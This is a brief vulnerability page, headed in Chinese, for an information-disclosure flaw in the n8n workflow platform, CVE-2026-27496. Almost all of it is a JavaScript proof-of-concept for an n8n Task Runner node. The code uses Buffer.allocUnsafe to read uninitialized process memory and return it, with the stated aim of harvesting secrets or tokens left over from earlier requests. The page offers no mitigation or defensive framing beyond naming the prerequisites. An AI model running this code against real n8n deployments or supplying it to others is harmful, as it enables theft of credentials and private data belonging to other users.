CVE-2026-27496 n8n信息泄露漏洞

// Conceptual PoC for CVE-2026-27496 // Prerequisites: Authenticated user, N8N_RUNNERS_ENABLED=true, Workflow Edit Permissions // In a JavaScript Task Runner node within n8n: function exploit() { // Allocate a buffer without initializing memory (unsafe) // This mimics the vulnerable behavior described const size = 1024; const leakedBuffer = Buffer.allocUnsafe(size); // Extract data from the uninitialized memory // This may contain secrets/tokens from previous requests in the process const data = leakedBuffer.toString('utf-8'); return { status: 'success', leaked_data: data }; } return exploit();